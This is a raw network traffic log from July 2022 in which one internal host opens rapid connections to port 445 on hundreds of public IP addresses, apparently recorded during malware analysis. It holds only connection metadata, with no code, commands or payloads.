Jul 20, 2022 19:33:50.484745026 CEST	445	59474	213.142.151.104	192.168.2.7
Jul 20, 2022 19:33:50.484868050 CEST	59474	445	192.168.2.7	213.142.151.104
Jul 20, 2022 19:33:50.495034933 CEST	59474	445	192.168.2.7	213.142.151.104
Jul 20, 2022 19:33:50.512346983 CEST	445	59471	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:50.512542963 CEST	59471	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:50.512727976 CEST	59471	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:50.513071060 CEST	445	59469	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:50.513087988 CEST	445	59469	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:50.551990032 CEST	59479	445	192.168.2.7	216.151.185.179
Jul 20, 2022 19:33:50.553822041 CEST	445	59474	213.142.151.104	192.168.2.7
Jul 20, 2022 19:33:50.581624985 CEST	59481	445	192.168.2.7	63.192.194.253
Jul 20, 2022 19:33:50.584656000 CEST	59485	445	192.168.2.7	128.49.37.187
Jul 20, 2022 19:33:50.587640047 CEST	59489	445	192.168.2.7	196.100.172.123
Jul 20, 2022 19:33:50.589673996 CEST	59492	445	192.168.2.7	174.136.99.193
Jul 20, 2022 19:33:50.612294912 CEST	59497	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:50.659723997 CEST	59498	445	192.168.2.7	141.163.142.171
Jul 20, 2022 19:33:50.671353102 CEST	445	59497	213.142.151.105	192.168.2.7
Jul 20, 2022 19:33:50.671521902 CEST	59497	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:50.671691895 CEST	59497	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:50.673907042 CEST	445	59471	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:50.674504995 CEST	59471	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:50.676506996 CEST	59499	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:50.729002953 CEST	445	59497	213.142.151.105	192.168.2.7
Jul 20, 2022 19:33:50.729038954 CEST	445	59497	213.142.151.105	192.168.2.7
Jul 20, 2022 19:33:50.734556913 CEST	445	59499	213.142.151.105	192.168.2.7
Jul 20, 2022 19:33:50.734766960 CEST	59499	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:50.734999895 CEST	59499	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:50.758686066 CEST	445	59492	174.136.99.193	192.168.2.7
Jul 20, 2022 19:33:50.791358948 CEST	445	59499	213.142.151.105	192.168.2.7
Jul 20, 2022 19:33:50.837470055 CEST	445	59471	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:50.871661901 CEST	59471	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:50.886023998 CEST	59506	445	192.168.2.7	217.134.82.36
Jul 20, 2022 19:33:50.886066914 CEST	59508	445	192.168.2.7	201.207.213.75
Jul 20, 2022 19:33:50.886801004 CEST	59522	445	192.168.2.7	39.218.20.232
Jul 20, 2022 19:33:50.887228966 CEST	59528	445	192.168.2.7	4.209.158.132
Jul 20, 2022 19:33:50.887310028 CEST	59529	445	192.168.2.7	219.19.120.18
Jul 20, 2022 19:33:50.887505054 CEST	59531	445	192.168.2.7	129.109.27.204
Jul 20, 2022 19:33:50.887633085 CEST	59533	445	192.168.2.7	2.220.79.230
Jul 20, 2022 19:33:50.887902975 CEST	59537	445	192.168.2.7	40.28.55.134
Jul 20, 2022 19:33:50.888406992 CEST	59545	445	192.168.2.7	154.121.63.87
Jul 20, 2022 19:33:50.888506889 CEST	59546	445	192.168.2.7	113.24.76.64
Jul 20, 2022 19:33:50.888519049 CEST	59547	445	192.168.2.7	100.82.33.81
Jul 20, 2022 19:33:50.888791084 CEST	59550	445	192.168.2.7	64.243.9.81
Jul 20, 2022 19:33:50.889126062 CEST	59556	445	192.168.2.7	64.101.124.155
Jul 20, 2022 19:33:50.889448881 CEST	59561	445	192.168.2.7	63.11.49.137
Jul 20, 2022 19:33:50.889528036 CEST	59562	445	192.168.2.7	208.26.50.44
Jul 20, 2022 19:33:50.889864922 CEST	59566	445	192.168.2.7	194.70.201.158
Jul 20, 2022 19:33:50.890018940 CEST	59568	445	192.168.2.7	132.184.142.12
Jul 20, 2022 19:33:50.890084982 CEST	59569	445	192.168.2.7	178.135.31.37
Jul 20, 2022 19:33:50.890304089 CEST	59571	445	192.168.2.7	142.134.100.64
Jul 20, 2022 19:33:51.032620907 CEST	445	59471	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:51.032943964 CEST	59471	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:51.194057941 CEST	445	59471	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:51.194211006 CEST	59471	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:51.206433058 CEST	59573	445	192.168.2.7	121.3.139.58
Jul 20, 2022 19:33:51.267425060 CEST	59492	445	192.168.2.7	174.136.99.193
Jul 20, 2022 19:33:51.355252028 CEST	445	59471	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:51.355268002 CEST	445	59471	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:51.434230089 CEST	445	59492	174.136.99.193	192.168.2.7
Jul 20, 2022 19:33:51.677392960 CEST	59583	445	192.168.2.7	215.26.31.85
Jul 20, 2022 19:33:51.705938101 CEST	59584	445	192.168.2.7	17.91.241.83
Jul 20, 2022 19:33:51.711457014 CEST	59588	445	192.168.2.7	223.226.169.106
Jul 20, 2022 19:33:51.713973999 CEST	59592	445	192.168.2.7	137.46.151.6
Jul 20, 2022 19:33:51.716051102 CEST	59595	445	192.168.2.7	25.33.13.62
Jul 20, 2022 19:33:51.784260988 CEST	59600	445	192.168.2.7	55.128.147.76
Jul 20, 2022 19:33:52.077409029 CEST	59607	445	192.168.2.7	74.136.241.95
Jul 20, 2022 19:33:52.077697039 CEST	59613	445	192.168.2.7	36.70.232.157
Jul 20, 2022 19:33:52.077872992 CEST	59616	445	192.168.2.7	87.58.24.182
Jul 20, 2022 19:33:52.077944994 CEST	59617	445	192.168.2.7	15.204.170.70
Jul 20, 2022 19:33:52.078063011 CEST	59618	445	192.168.2.7	61.122.225.9
Jul 20, 2022 19:33:52.078408957 CEST	59626	445	192.168.2.7	136.152.161.234
Jul 20, 2022 19:33:52.078627110 CEST	59630	445	192.168.2.7	208.105.224.69
Jul 20, 2022 19:33:52.078700066 CEST	59631	445	192.168.2.7	181.228.24.145
Jul 20, 2022 19:33:52.078826904 CEST	59633	445	192.168.2.7	135.243.25.91
Jul 20, 2022 19:33:52.079001904 CEST	59634	445	192.168.2.7	214.76.181.124
Jul 20, 2022 19:33:52.079222918 CEST	59639	445	192.168.2.7	151.164.5.121
Jul 20, 2022 19:33:52.079377890 CEST	59642	445	192.168.2.7	45.116.20.121
Jul 20, 2022 19:33:52.080312014 CEST	59654	445	192.168.2.7	214.58.98.151
Jul 20, 2022 19:33:52.085433006 CEST	59655	445	192.168.2.7	172.56.13.242
Jul 20, 2022 19:33:52.085637093 CEST	59657	445	192.168.2.7	31.134.134.101
Jul 20, 2022 19:33:52.085844994 CEST	59661	445	192.168.2.7	140.56.78.3
Jul 20, 2022 19:33:52.085923910 CEST	59662	445	192.168.2.7	197.134.248.128
Jul 20, 2022 19:33:52.085983992 CEST	59663	445	192.168.2.7	122.129.57.21
Jul 20, 2022 19:33:52.086236000 CEST	59668	445	192.168.2.7	169.168.182.206
Jul 20, 2022 19:33:52.086302042 CEST	59669	445	192.168.2.7	56.57.176.211
Jul 20, 2022 19:33:52.086450100 CEST	59671	445	192.168.2.7	118.17.187.121
Jul 20, 2022 19:33:52.182812929 CEST	445	59617	15.204.170.70	192.168.2.7
Jul 20, 2022 19:33:52.329034090 CEST	59675	445	192.168.2.7	121.3.139.59
Jul 20, 2022 19:33:52.689451933 CEST	59617	445	192.168.2.7	15.204.170.70
Jul 20, 2022 19:33:52.792867899 CEST	445	59617	15.204.170.70	192.168.2.7
Jul 20, 2022 19:33:52.801768064 CEST	59685	445	192.168.2.7	79.205.107.27
Jul 20, 2022 19:33:52.833409071 CEST	59689	445	192.168.2.7	200.1.77.69
Jul 20, 2022 19:33:52.835503101 CEST	59692	445	192.168.2.7	9.132.228.175
Jul 20, 2022 19:33:52.838259935 CEST	59696	445	192.168.2.7	117.243.157.181
Jul 20, 2022 19:33:52.840687037 CEST	59699	445	192.168.2.7	56.1.88.160
Jul 20, 2022 19:33:52.908911943 CEST	59702	445	192.168.2.7	38.23.53.83
Jul 20, 2022 19:33:52.925190926 CEST	59703	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:52.949604034 CEST	445	59703	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:52.949740887 CEST	59703	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:52.949892044 CEST	59703	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:52.972032070 CEST	445	59703	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:52.972060919 CEST	445	59703	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:52.972206116 CEST	59703	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:52.972383976 CEST	59703	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:52.972702980 CEST	59703	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:52.994877100 CEST	445	59703	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:52.994904995 CEST	445	59703	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:53.034080982 CEST	59705	445	192.168.2.7	51.158.189.110
Jul 20, 2022 19:33:53.059525967 CEST	445	59705	51.158.189.110	192.168.2.7
Jul 20, 2022 19:33:53.208587885 CEST	59713	445	192.168.2.7	215.32.124.29
Jul 20, 2022 19:33:53.258867979 CEST	59714	445	192.168.2.7	13.156.199.186
Jul 20, 2022 19:33:53.277318954 CEST	59716	445	192.168.2.7	107.234.137.77
Jul 20, 2022 19:33:53.277386904 CEST	59717	445	192.168.2.7	157.234.21.128
Jul 20, 2022 19:33:53.277575016 CEST	59721	445	192.168.2.7	125.221.106.181
Jul 20, 2022 19:33:53.277884960 CEST	59729	445	192.168.2.7	143.150.38.114
Jul 20, 2022 19:33:53.277945995 CEST	59730	445	192.168.2.7	128.75.213.84
Jul 20, 2022 19:33:53.278084040 CEST	59732	445	192.168.2.7	7.127.52.2
Jul 20, 2022 19:33:53.278192997 CEST	59734	445	192.168.2.7	145.136.211.96
Jul 20, 2022 19:33:53.278662920 CEST	59745	445	192.168.2.7	96.222.98.182
Jul 20, 2022 19:33:53.278714895 CEST	59746	445	192.168.2.7	36.194.176.1
Jul 20, 2022 19:33:53.278772116 CEST	59747	445	192.168.2.7	65.34.173.89
Jul 20, 2022 19:33:53.279036999 CEST	59753	445	192.168.2.7	209.64.202.37
Jul 20, 2022 19:33:53.279108047 CEST	59754	445	192.168.2.7	184.44.143.138
Jul 20, 2022 19:33:53.279165983 CEST	59755	445	192.168.2.7	36.216.119.175
Jul 20, 2022 19:33:53.279345036 CEST	59759	445	192.168.2.7	15.111.26.4
Jul 20, 2022 19:33:53.279448032 CEST	59761	445	192.168.2.7	86.93.31.172
Jul 20, 2022 19:33:53.279527903 CEST	59762	445	192.168.2.7	52.238.192.180
Jul 20, 2022 19:33:53.280509949 CEST	59738	445	192.168.2.7	27.46.79.70
Jul 20, 2022 19:33:53.281579018 CEST	59773	445	192.168.2.7	220.218.31.195
Jul 20, 2022 19:33:53.281712055 CEST	59777	445	192.168.2.7	176.244.224.18
Jul 20, 2022 19:33:53.297056913 CEST	59778	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:53.313678026 CEST	445	59778	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:53.313893080 CEST	59778	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:53.314106941 CEST	59778	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:53.330564022 CEST	445	59778	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:53.330593109 CEST	445	59778	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:53.330610991 CEST	445	59778	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:53.330719948 CEST	59778	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:53.331325054 CEST	59778	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:53.331669092 CEST	59778	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:53.348052025 CEST	445	59778	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:53.349318981 CEST	445	59778	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:53.393776894 CEST	59780	445	192.168.2.7	121.3.139.60
Jul 20, 2022 19:33:53.393793106 CEST	59781	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.411113977 CEST	445	59781	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:53.411344051 CEST	59781	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.414285898 CEST	59782	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.414299965 CEST	59781	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.430953026 CEST	445	59782	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:53.430985928 CEST	445	59781	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:53.431143999 CEST	59782	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.431154966 CEST	59781	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.431420088 CEST	59782	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.447891951 CEST	445	59782	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:53.447921038 CEST	445	59782	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:53.448127031 CEST	59782	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.450277090 CEST	445	59782	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:53.450396061 CEST	59782	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.450730085 CEST	59782	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:53.466897011 CEST	445	59782	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:53.469614983 CEST	445	59782	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:53.642705917 CEST	59705	445	192.168.2.7	51.158.189.110
Jul 20, 2022 19:33:53.665777922 CEST	445	59705	51.158.189.110	192.168.2.7
Jul 20, 2022 19:33:53.824065924 CEST	59787	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:53.882411003 CEST	445	59787	213.142.151.105	192.168.2.7
Jul 20, 2022 19:33:53.882508993 CEST	59787	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:53.882695913 CEST	59787	445	192.168.2.7	213.142.151.105
Jul 20, 2022 19:33:53.936733007 CEST	59792	445	192.168.2.7	134.75.209.30
Jul 20, 2022 19:33:53.938994884 CEST	445	59787	213.142.151.105	192.168.2.7
Jul 20, 2022 19:33:53.962476015 CEST	59797	445	192.168.2.7	180.73.66.65
Jul 20, 2022 19:33:53.962610960 CEST	59801	445	192.168.2.7	184.204.64.142
Jul 20, 2022 19:33:53.962697029 CEST	59804	445	192.168.2.7	73.43.150.156
Jul 20, 2022 19:33:53.962850094 CEST	59809	445	192.168.2.7	1.157.81.66
Jul 20, 2022 19:33:54.004899025 CEST	59810	445	192.168.2.7	213.142.151.106
Jul 20, 2022 19:33:54.051021099 CEST	59811	445	192.168.2.7	109.154.104.205
Jul 20, 2022 19:33:54.112294912 CEST	59812	445	192.168.2.7	51.158.189.111
Jul 20, 2022 19:33:54.206959009 CEST	59814	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:54.317079067 CEST	59820	445	192.168.2.7	135.217.204.29
Jul 20, 2022 19:33:54.362390041 CEST	59824	445	192.168.2.7	148.29.252.168
Jul 20, 2022 19:33:54.371381044 CEST	445	59814	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:54.371520042 CEST	59814	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:54.371699095 CEST	59814	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:54.510675907 CEST	59827	445	192.168.2.7	154.213.88.51
Jul 20, 2022 19:33:54.510807991 CEST	59829	445	192.168.2.7	192.233.23.0
Jul 20, 2022 19:33:54.511683941 CEST	59833	445	192.168.2.7	74.70.223.44
Jul 20, 2022 19:33:54.511782885 CEST	59835	445	192.168.2.7	70.136.50.105
Jul 20, 2022 19:33:54.511883020 CEST	59837	445	192.168.2.7	124.206.248.148
Jul 20, 2022 19:33:54.512006044 CEST	59840	445	192.168.2.7	144.106.15.55
Jul 20, 2022 19:33:54.512068033 CEST	59842	445	192.168.2.7	173.218.97.179
Jul 20, 2022 19:33:54.512315035 CEST	59850	445	192.168.2.7	50.213.204.97
Jul 20, 2022 19:33:54.512382984 CEST	59851	445	192.168.2.7	62.113.90.81
Jul 20, 2022 19:33:54.512465000 CEST	59853	445	192.168.2.7	47.19.171.72
Jul 20, 2022 19:33:54.512646914 CEST	59857	445	192.168.2.7	81.55.3.16
Jul 20, 2022 19:33:54.512847900 CEST	59860	445	192.168.2.7	87.215.129.28
Jul 20, 2022 19:33:54.512949944 CEST	59859	445	192.168.2.7	70.137.62.144
Jul 20, 2022 19:33:54.512998104 CEST	59864	445	192.168.2.7	108.19.0.237
Jul 20, 2022 19:33:54.513089895 CEST	59867	445	192.168.2.7	52.7.93.227
Jul 20, 2022 19:33:54.513267994 CEST	59866	445	192.168.2.7	47.253.160.145
Jul 20, 2022 19:33:54.513564110 CEST	59879	445	192.168.2.7	157.8.179.41
Jul 20, 2022 19:33:54.513842106 CEST	59882	445	192.168.2.7	139.152.37.106
Jul 20, 2022 19:33:54.513881922 CEST	59886	445	192.168.2.7	30.250.143.135
Jul 20, 2022 19:33:54.525805950 CEST	59888	445	192.168.2.7	121.3.139.61
Jul 20, 2022 19:33:54.536000013 CEST	445	59814	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:54.536153078 CEST	59814	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:54.700676918 CEST	445	59814	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:54.701025009 CEST	59814	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:54.865498066 CEST	445	59814	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:54.865776062 CEST	59814	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:55.030436039 CEST	445	59814	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:55.030684948 CEST	59814	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:55.066099882 CEST	59897	445	192.168.2.7	105.236.99.253
Jul 20, 2022 19:33:55.068226099 CEST	59900	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.088795900 CEST	59907	445	192.168.2.7	162.187.112.187
Jul 20, 2022 19:33:55.088851929 CEST	59910	445	192.168.2.7	148.173.146.81
Jul 20, 2022 19:33:55.088949919 CEST	59912	445	192.168.2.7	57.39.179.0
Jul 20, 2022 19:33:55.089013100 CEST	59914	445	192.168.2.7	54.251.204.68
Jul 20, 2022 19:33:55.097688913 CEST	59917	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:55.120661020 CEST	445	59900	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.120769024 CEST	59900	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.121136904 CEST	59900	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.123416901 CEST	59918	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.173444986 CEST	445	59900	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.173475027 CEST	445	59900	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.174746037 CEST	445	59918	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.174976110 CEST	59918	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.175668955 CEST	59918	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.179589987 CEST	59919	445	192.168.2.7	48.106.171.86
Jul 20, 2022 19:33:55.190635920 CEST	59920	445	192.168.2.7	51.158.189.112
Jul 20, 2022 19:33:55.195099115 CEST	445	59814	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:55.195127964 CEST	445	59814	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:55.227312088 CEST	445	59918	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.227566957 CEST	59918	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.262697935 CEST	445	59917	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:55.262864113 CEST	59917	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:55.263194084 CEST	59917	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:55.265921116 CEST	59922	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:55.280471087 CEST	445	59918	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.281738997 CEST	59918	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.333065033 CEST	445	59918	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.333400965 CEST	59918	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.386257887 CEST	445	59918	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.386409998 CEST	59918	445	192.168.2.7	213.142.151.107
Jul 20, 2022 19:33:55.427751064 CEST	445	59917	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:55.427783966 CEST	445	59917	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:55.430622101 CEST	445	59922	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:55.430799961 CEST	59922	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:55.430964947 CEST	59922	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:55.437668085 CEST	445	59918	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.437707901 CEST	445	59918	213.142.151.107	192.168.2.7
Jul 20, 2022 19:33:55.447290897 CEST	59929	445	192.168.2.7	133.160.102.80
Jul 20, 2022 19:33:55.508208990 CEST	59932	445	192.168.2.7	9.154.11.3
Jul 20, 2022 19:33:55.595645905 CEST	445	59922	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:55.618782043 CEST	59922	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:55.624519110 CEST	59934	445	192.168.2.7	121.3.139.62
Jul 20, 2022 19:33:55.783718109 CEST	445	59922	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:55.845957994 CEST	59922	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:55.922718048 CEST	59922	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:56.020174026 CEST	59939	445	192.168.2.7	89.84.251.86
Jul 20, 2022 19:33:56.020347118 CEST	59942	445	192.168.2.7	149.195.129.121
Jul 20, 2022 19:33:56.020502090 CEST	59945	445	192.168.2.7	57.195.24.233
Jul 20, 2022 19:33:56.020587921 CEST	59947	445	192.168.2.7	191.42.82.161
Jul 20, 2022 19:33:56.021183014 CEST	59955	445	192.168.2.7	176.71.143.106
Jul 20, 2022 19:33:56.021244049 CEST	59956	445	192.168.2.7	213.84.241.230
Jul 20, 2022 19:33:56.021342993 CEST	59958	445	192.168.2.7	103.73.11.96
Jul 20, 2022 19:33:56.021512032 CEST	59962	445	192.168.2.7	160.103.193.48
Jul 20, 2022 19:33:56.021610022 CEST	59964	445	192.168.2.7	10.184.187.14
Jul 20, 2022 19:33:56.021676064 CEST	59940	445	192.168.2.7	107.70.204.71
Jul 20, 2022 19:33:56.021708012 CEST	59965	445	192.168.2.7	141.58.204.164
Jul 20, 2022 19:33:56.022098064 CEST	59969	445	192.168.2.7	34.111.227.91
Jul 20, 2022 19:33:56.022221088 CEST	59971	445	192.168.2.7	128.113.133.133
Jul 20, 2022 19:33:56.022413015 CEST	59976	445	192.168.2.7	102.89.254.189
Jul 20, 2022 19:33:56.022713900 CEST	59984	445	192.168.2.7	200.86.176.16
Jul 20, 2022 19:33:56.022850990 CEST	59987	445	192.168.2.7	171.92.7.162
Jul 20, 2022 19:33:56.023027897 CEST	59991	445	192.168.2.7	195.41.35.103
Jul 20, 2022 19:33:56.023148060 CEST	59994	445	192.168.2.7	9.163.72.52
Jul 20, 2022 19:33:56.023279905 CEST	59996	445	192.168.2.7	61.253.177.27
Jul 20, 2022 19:33:56.040393114 CEST	445	59969	34.111.227.91	192.168.2.7
Jul 20, 2022 19:33:56.087340117 CEST	445	59922	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:56.122874022 CEST	59922	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:56.254503965 CEST	60009	445	192.168.2.7	23.107.204.236
Jul 20, 2022 19:33:56.256511927 CEST	60011	445	192.168.2.7	115.153.225.3
Jul 20, 2022 19:33:56.257567883 CEST	60014	445	192.168.2.7	125.82.128.58
Jul 20, 2022 19:33:56.258797884 CEST	60016	445	192.168.2.7	77.248.111.133
Jul 20, 2022 19:33:56.261523962 CEST	60020	445	192.168.2.7	163.30.105.166
Jul 20, 2022 19:33:56.287705898 CEST	445	59922	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:56.287811995 CEST	59922	445	192.168.2.7	131.153.221.85
Jul 20, 2022 19:33:56.356760025 CEST	60025	445	192.168.2.7	51.158.189.113
Jul 20, 2022 19:33:56.362560034 CEST	60026	445	192.168.2.7	138.110.150.42
Jul 20, 2022 19:33:56.452430964 CEST	445	59922	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:56.452632904 CEST	445	59922	131.153.221.85	192.168.2.7
Jul 20, 2022 19:33:56.470036030 CEST	60028	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:56.486814976 CEST	445	60028	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:56.486999989 CEST	60028	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:56.535116911 CEST	60028	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:56.549140930 CEST	59969	445	192.168.2.7	34.111.227.91
Jul 20, 2022 19:33:56.551613092 CEST	445	60028	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:56.552968979 CEST	445	60028	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:56.553097010 CEST	445	60028	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:56.553137064 CEST	60028	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:56.553175926 CEST	60028	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:56.553482056 CEST	60028	445	192.168.2.7	45.60.207.27
Jul 20, 2022 19:33:56.567763090 CEST	445	59969	34.111.227.91	192.168.2.7
Jul 20, 2022 19:33:56.569628954 CEST	445	60028	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:56.569797993 CEST	445	60028	45.60.207.27	192.168.2.7
Jul 20, 2022 19:33:56.652789116 CEST	60035	445	192.168.2.7	103.234.233.246
Jul 20, 2022 19:33:56.654030085 CEST	60037	445	192.168.2.7	132.1.127.5
Jul 20, 2022 19:33:57.093246937 CEST	60041	445	192.168.2.7	121.3.139.63
Jul 20, 2022 19:33:57.093314886 CEST	60043	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:57.109889030 CEST	445	60043	45.60.207.28	192.168.2.7
Jul 20, 2022 19:33:57.110227108 CEST	60043	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:57.871299982 CEST	60043	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:57.888108015 CEST	445	60043	45.60.207.28	192.168.2.7
Jul 20, 2022 19:33:57.888175964 CEST	60043	445	192.168.2.7	45.60.207.28
Jul 20, 2022 19:33:58.052613974 CEST	60044	445	192.168.2.7	39.147.0.208
Jul 20, 2022 19:33:58.058451891 CEST	60047	445	192.168.2.7	52.230.198.6
Jul 20, 2022 19:33:58.058563948 CEST	60049	445	192.168.2.7	115.64.139.146
Jul 20, 2022 19:33:58.059890032 CEST	60050	445	192.168.2.7	128.87.181.37
Jul 20, 2022 19:33:58.061288118 CEST	60059	445	192.168.2.7	123.66.10.18
Jul 20, 2022 19:33:58.061348915 CEST	60060	445	192.168.2.7	146.174.56.147
Jul 20, 2022 19:33:58.061449051 CEST	60062	445	192.168.2.7	142.206.210.247
Jul 20, 2022 19:33:58.062551022 CEST	60065	445	192.168.2.7	186.112.243.222
Jul 20, 2022 19:33:58.063420057 CEST	60067	445	192.168.2.7	27.102.111.143
Jul 20, 2022 19:33:58.064349890 CEST	60068	445	192.168.2.7	18.136.208.121
Jul 20, 2022 19:33:58.068535089 CEST	60074	445	192.168.2.7	112.209.188.165
Jul 20, 2022 19:33:58.068620920 CEST	60075	445	192.168.2.7	117.184.146.83
Jul 20, 2022 19:33:58.068702936 CEST	60076	445	192.168.2.7	110.232.244.9
Jul 20, 2022 19:33:58.069415092 CEST	60090	445	192.168.2.7	169.115.209.44
Jul 20, 2022 19:33:58.069714069 CEST	60086	445	192.168.2.7	185.83.34.239
Jul 20, 2022 19:33:58.070132017 CEST	60096	445	192.168.2.7	159.46.161.119
Jul 20, 2022 19:33:58.070447922 CEST	60099	445	192.168.2.7	51.214.43.72
Jul 20, 2022 19:33:58.070687056 CEST	60100	445	192.168.2.7	223.32.156.93
Jul 20, 2022 19:33:58.071403027 CEST	60106	445	192.168.2.7	217.29.158.161
Jul 20, 2022 19:33:58.100265026 CEST	445	60106	217.29.158.161	192.168.2.7
